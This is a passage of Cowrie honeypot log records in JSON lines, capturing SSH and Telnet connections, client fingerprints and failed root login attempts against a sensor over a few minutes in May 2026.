{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:19.992079Z","src_ip":"62.133.62.83","session":"e1665d84a94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40846,"dst_ip":"159.203.135.109","dst_port":23,"session":"879bbfeb9f76","protocol":"telnet","message":"New connection: 135.148.14.151:40846 (159.203.135.109:23) [session: 879bbfeb9f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:20.182480Z"}
{"eventid":"cowrie.session.closed","duration":34.72476077079773,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:26.272067Z","src_ip":"135.148.14.151","session":"87f730569747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56344985961914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:32.321081Z","src_ip":"135.148.14.151","session":"74a9bfbcffd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.177.78.181","src_port":41549,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfaef3183e78","protocol":"telnet","message":"New connection: 58.177.78.181:41549 (159.203.135.109:23) [session: cfaef3183e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:43.766080Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52278,"dst_ip":"159.203.135.109","dst_port":23,"session":"945dc299f032","protocol":"telnet","message":"New connection: 135.148.14.151:52278 (159.203.135.109:23) [session: 945dc299f032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:45.033075Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"76500541aa7e","protocol":"telnet","message":"New connection: 135.148.14.151:57298 (159.203.135.109:23) [session: 76500541aa7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:55.830919Z"}
{"eventid":"cowrie.session.closed","duration":38.83152937889099,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:59.013853Z","src_ip":"135.148.14.151","session":"879bbfeb9f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47544813156128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:39:15.241437Z","src_ip":"58.177.78.181","session":"cfaef3183e78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44162034988403,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:39:20.474565Z","src_ip":"135.148.14.151","session":"945dc299f032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.198994398117065,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:39:36.029790Z","src_ip":"135.148.14.151","session":"76500541aa7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00188398361206,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:39:36.094927Z","src_ip":"179.102.17.221","session":"20034308a791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00255274772644,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:39:37.930794Z","src_ip":"179.102.17.221","session":"33f89059d902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":60418,"dst_ip":"159.203.135.109","dst_port":23,"session":"237681cb65b6","protocol":"telnet","message":"New connection: 179.102.17.221:60418 (159.203.135.109:23) [session: 237681cb65b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:39:39.259909Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45964,"dst_ip":"159.203.135.109","dst_port":23,"session":"10567607ba0a","protocol":"telnet","message":"New connection: 135.148.14.151:45964 (159.203.135.109:23) [session: 10567607ba0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:39:40.297394Z"}
{"eventid":"cowrie.session.closed","duration":32.32040333747864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:12.617701Z","src_ip":"135.148.14.151","session":"10567607ba0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":36080,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3976b7bc0e1","protocol":"ssh","message":"New connection: 148.113.221.114:36080 (10.17.0.5:22) [session: f3976b7bc0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.526685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.550106Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.570930Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:97:d2:72:c3:2e:2f:76:4b:14:9c:44:b3:65:68:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDStMp7kNnTEaGjT+tQLt50SOKNsjOGzrmgisxze4yhnLPeC4vBsDM0BHLKq+ZCUxswh9PwWK9l2SEkCxsVHZVNS1lUOSdaUKO1VLCWc0m9OAMOlkD2slNJ2Nn4gcLA+nLZfGLq8JBOFxjx2DMR3mrs2lBWzZeCw53292DkOvr0RO6n2qHn+biBdyVmD3BoqZ3UE9KXkTY6t0R1rtWJiZf8ogkf9GjGJFugDGFRN98vqLx76jybAanIn4Ai1HMMhtHdJNE9/bhZpf8w+u5XaRqS0bvU3KQ5trL73fHwL0QF7DubUk3I0ijXaQGys6oWtMU5uECY6QeAafGOqhIjHqcYcYDfpmWAeXk7bxsO6nHzn1FXzieeRtc1OdP3+wrEhN8+Ip/OtlFxG3w5CaKGpklKS+fi3J0s6/3IzAXsB4jz9UWi//V8IKbQYGU/ygaE3qmCMPv7u9zuy8mmQe8TscvJp+VFa9mChcGXaK3u8QY3NudevwBrBmO7CuKcUZImYmM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:97:d2:72:c3:2e:2f:76:4b:14:9c:44:b3:65:68:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.660691Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:97:d2:72:c3:2e:2f:76:4b:14:9c:44:b3:65:68:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDStMp7kNnTEaGjT+tQLt50SOKNsjOGzrmgisxze4yhnLPeC4vBsDM0BHLKq+ZCUxswh9PwWK9l2SEkCxsVHZVNS1lUOSdaUKO1VLCWc0m9OAMOlkD2slNJ2Nn4gcLA+nLZfGLq8JBOFxjx2DMR3mrs2lBWzZeCw53292DkOvr0RO6n2qHn+biBdyVmD3BoqZ3UE9KXkTY6t0R1rtWJiZf8ogkf9GjGJFugDGFRN98vqLx76jybAanIn4Ai1HMMhtHdJNE9/bhZpf8w+u5XaRqS0bvU3KQ5trL73fHwL0QF7DubUk3I0ijXaQGys6oWtMU5uECY6QeAafGOqhIjHqcYcYDfpmWAeXk7bxsO6nHzn1FXzieeRtc1OdP3+wrEhN8+Ip/OtlFxG3w5CaKGpklKS+fi3J0s6/3IzAXsB4jz9UWi//V8IKbQYGU/ygaE3qmCMPv7u9zuy8mmQe8TscvJp+VFa9mChcGXaK3u8QY3NudevwBrBmO7CuKcUZImYmM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.666031Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:1b:73:7c:26:9c:4a:20:9c:30:52:26:b9:ab:c1:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKd7a6g59YzyjGA0i5fi5Jzv658KnLC7dfbVBC0jX1E4Z9e2cQgePmn+/SDGePzPT4dzX5gpE2ot6kZCqb8q3envCxPgIVwypHkvjk3lRMDkNicuSpj/JV4h7tJXwTqS7Mas0CkKOn3SGeVdf/ZlcFlNLceuAKoeQexrpbjcYHWUJe6kuAWM6FdorSxXF/dWm+bygQ/TvWh7kosWA7Ickzy6FhzFlSvrt9vwAdQ1Rs5mCg7/Gc70RP/4/oeS52JtqUQy/u4RWKNH04LBV1HxuKkolXhzR8DEa/c2YSc+5IKmJIynFTffhln71rHLUTT1eUFOt+3GTjt6biUWIgqwDcJTBGK+rKYGOgZtdD8nhrAlLZ1QArXV7XJZ7Fh3ZzryiR6E9ZxlCr/Wu2PODNKQrdZPsCJfHVVXSUbWFBcBqHhJ3G/TV3h95o/sIZnOFxVDs57IjxARedF4Iftw/WUOCVLkP3G7nUzFkgYv8b25xpXBE5273YK1Gy0JQYLmWWPx8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:1b:73:7c:26:9c:4a:20:9c:30:52:26:b9:ab:c1:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.696934Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:1b:73:7c:26:9c:4a:20:9c:30:52:26:b9:ab:c1:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKd7a6g59YzyjGA0i5fi5Jzv658KnLC7dfbVBC0jX1E4Z9e2cQgePmn+/SDGePzPT4dzX5gpE2ot6kZCqb8q3envCxPgIVwypHkvjk3lRMDkNicuSpj/JV4h7tJXwTqS7Mas0CkKOn3SGeVdf/ZlcFlNLceuAKoeQexrpbjcYHWUJe6kuAWM6FdorSxXF/dWm+bygQ/TvWh7kosWA7Ickzy6FhzFlSvrt9vwAdQ1Rs5mCg7/Gc70RP/4/oeS52JtqUQy/u4RWKNH04LBV1HxuKkolXhzR8DEa/c2YSc+5IKmJIynFTffhln71rHLUTT1eUFOt+3GTjt6biUWIgqwDcJTBGK+rKYGOgZtdD8nhrAlLZ1QArXV7XJZ7Fh3ZzryiR6E9ZxlCr/Wu2PODNKQrdZPsCJfHVVXSUbWFBcBqHhJ3G/TV3h95o/sIZnOFxVDs57IjxARedF4Iftw/WUOCVLkP3G7nUzFkgYv8b25xpXBE5273YK1Gy0JQYLmWWPx8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.703492Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:d9:fa:9e:c9:a7:b0:81:e4:18:4c:f9:3e:3e:1d:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzramla5wTxL8WFxJJR75xQhxkb3y0w7w/jJ1os/xJPbV/WHrTxHA6QhW2RAKpZIDvRH4vBmyqmN31zvm6z16PcA0v2EvctRwduGbXiG1p4ZW1fKMnanmyHjXIqkEeP/f/R9quwRfLulo5YKxd9ruNAJlrYF33zAja3QMmOErFGURw7DQpvuzHWDkmqAC4wxSWsky7vY9DaNqIaaoz1TDwEXaeIjnjdtUKnHFSdDrxhsZKeKzzbk3H/eUoXvxX41laIcQEh5fUIseTdBYcvHI4o6YFsQpzHIXr7tTkkgs14AJ+ZUI+DujSWFliUwHMKnv2gjM8+L5SekFOMSU4cH+3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:d9:fa:9e:c9:a7:b0:81:e4:18:4c:f9:3e:3e:1d:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.744256Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:d9:fa:9e:c9:a7:b0:81:e4:18:4c:f9:3e:3e:1d:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzramla5wTxL8WFxJJR75xQhxkb3y0w7w/jJ1os/xJPbV/WHrTxHA6QhW2RAKpZIDvRH4vBmyqmN31zvm6z16PcA0v2EvctRwduGbXiG1p4ZW1fKMnanmyHjXIqkEeP/f/R9quwRfLulo5YKxd9ruNAJlrYF33zAja3QMmOErFGURw7DQpvuzHWDkmqAC4wxSWsky7vY9DaNqIaaoz1TDwEXaeIjnjdtUKnHFSdDrxhsZKeKzzbk3H/eUoXvxX41laIcQEh5fUIseTdBYcvHI4o6YFsQpzHIXr7tTkkgs14AJ+ZUI+DujSWFliUwHMKnv2gjM8+L5SekFOMSU4cH+3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.751629Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:4a:2f:38:7d:94:87:92:96:bf:de:3e:ba:ea:22:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClD8QR/myxdkibzJgZyWMq7B2iiPe/zL/XF63i7E/edrpySLtNr6xBdoNsFHhIZhd5vqMF3RGZ3HO3sX1vwsoWoZvGsCpvMGrTRcPXTDjMn7FdT33Mf2IzIrxPwOfZmBxor3JUynJFi5bQVeS/0F070r/Ppg0ORbLDYZD3G/IADm81YjsHmt52owIRg3PdsGwK2N7G1Pd5l5BAEgbGVJYcWKb2aWGYHcxhs7795sFaUNpkFDExMu+Uh18lSdHgN1Bk7vly4clqqHnbvJomQwdxjzKjk3XXTUjtZfUDxdyjz3RlUBXLyIB3kF+Tr7xgNHWTn0XA80YPQHCxutGkKTWz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:4a:2f:38:7d:94:87:92:96:bf:de:3e:ba:ea:22:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.780626Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:4a:2f:38:7d:94:87:92:96:bf:de:3e:ba:ea:22:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClD8QR/myxdkibzJgZyWMq7B2iiPe/zL/XF63i7E/edrpySLtNr6xBdoNsFHhIZhd5vqMF3RGZ3HO3sX1vwsoWoZvGsCpvMGrTRcPXTDjMn7FdT33Mf2IzIrxPwOfZmBxor3JUynJFi5bQVeS/0F070r/Ppg0ORbLDYZD3G/IADm81YjsHmt52owIRg3PdsGwK2N7G1Pd5l5BAEgbGVJYcWKb2aWGYHcxhs7795sFaUNpkFDExMu+Uh18lSdHgN1Bk7vly4clqqHnbvJomQwdxjzKjk3XXTUjtZfUDxdyjz3RlUBXLyIB3kF+Tr7xgNHWTn0XA80YPQHCxutGkKTWz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.785211Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:0f:03:9f:13:fb:60:c5:97:aa:dc:91:c7:92:f3:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsfOfGpdmWE+Ak4RMJYm4IloP981X/VCK8nQqfcWwmrqBLreGRGceQ6Vjp4Hv4xPIdskZaqvVyNA2E7gxNTE62f/6b8h23sAJrNhvq4At1Z7Udgia/1F5xFiDmVdF74l/1UF2s81SOXmcwi3khBbm/+WyyuSVHjCXVlkaD/xZcuMIqnXiDfbCpNayUR2xnNFSTsjEeMw+hpajS4rKALKEf7qtx8xO9d5ya5MSleM8bz1rz4MZArtyvRXdQ1ZA41+t7b7nffLRkDY1PpHtUgy5RD2gJMkQ9akLQ4ppDafb7ir5v9r7+KjM/2yEBA5WWFnW2BiSPebgH4imomgTorp2rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:0f:03:9f:13:fb:60:c5:97:aa:dc:91:c7:92:f3:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.810364Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:0f:03:9f:13:fb:60:c5:97:aa:dc:91:c7:92:f3:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsfOfGpdmWE+Ak4RMJYm4IloP981X/VCK8nQqfcWwmrqBLreGRGceQ6Vjp4Hv4xPIdskZaqvVyNA2E7gxNTE62f/6b8h23sAJrNhvq4At1Z7Udgia/1F5xFiDmVdF74l/1UF2s81SOXmcwi3khBbm/+WyyuSVHjCXVlkaD/xZcuMIqnXiDfbCpNayUR2xnNFSTsjEeMw+hpajS4rKALKEf7qtx8xO9d5ya5MSleM8bz1rz4MZArtyvRXdQ1ZA41+t7b7nffLRkDY1PpHtUgy5RD2gJMkQ9akLQ4ppDafb7ir5v9r7+KjM/2yEBA5WWFnW2BiSPebgH4imomgTorp2rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.825965Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:13.856960Z","src_ip":"148.113.221.114","session":"f3976b7bc0e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33694,"dst_ip":"159.203.135.109","dst_port":22,"session":"c94b88b8a8c2","protocol":"ssh","message":"New connection: 103.122.221.179:33694 (159.203.135.109:22) [session: c94b88b8a8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:55.555353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:55.560913Z","src_ip":"103.122.221.179","session":"c94b88b8a8c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:55.822609Z","src_ip":"103.122.221.179","session":"c94b88b8a8c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345az","message":"login attempt [root/12345az] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:56.607888Z","src_ip":"103.122.221.179","session":"c94b88b8a8c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:40:57.870265Z","src_ip":"103.122.221.179","session":"c94b88b8a8c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44222,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e9a8b2ee4c8","protocol":"telnet","message":"New connection: 135.148.14.151:44222 (159.203.135.109:23) [session: 2e9a8b2ee4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:41:33.340969Z"}
{"eventid":"cowrie.session.closed","duration":120.0051589012146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:41:39.264927Z","src_ip":"179.102.17.221","session":"237681cb65b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":36391,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a721b58f51","protocol":"telnet","message":"New connection: 179.102.17.221:36391 (159.203.135.109:23) [session: d2a721b58f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:41:40.858067Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53156,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb412713b41e","protocol":"telnet","message":"New connection: 135.148.14.151:53156 (159.203.135.109:23) [session: eb412713b41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:41:53.079343Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56580,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f6b0e4d88d7","protocol":"telnet","message":"New connection: 135.148.14.151:56580 (159.203.135.109:23) [session: 9f6b0e4d88d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:07.502691Z"}
{"eventid":"cowrie.session.closed","duration":34.8781156539917,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:08.218991Z","src_ip":"135.148.14.151","session":"2e9a8b2ee4c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43210,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1bfd3b70857","protocol":"ssh","message":"New connection: 103.176.20.57:43210 (10.17.0.5:22) [session: e1bfd3b70857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:09.713145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:42:09.718031Z","src_ip":"103.176.20.57","session":"e1bfd3b70857","protocol":"ssh"}
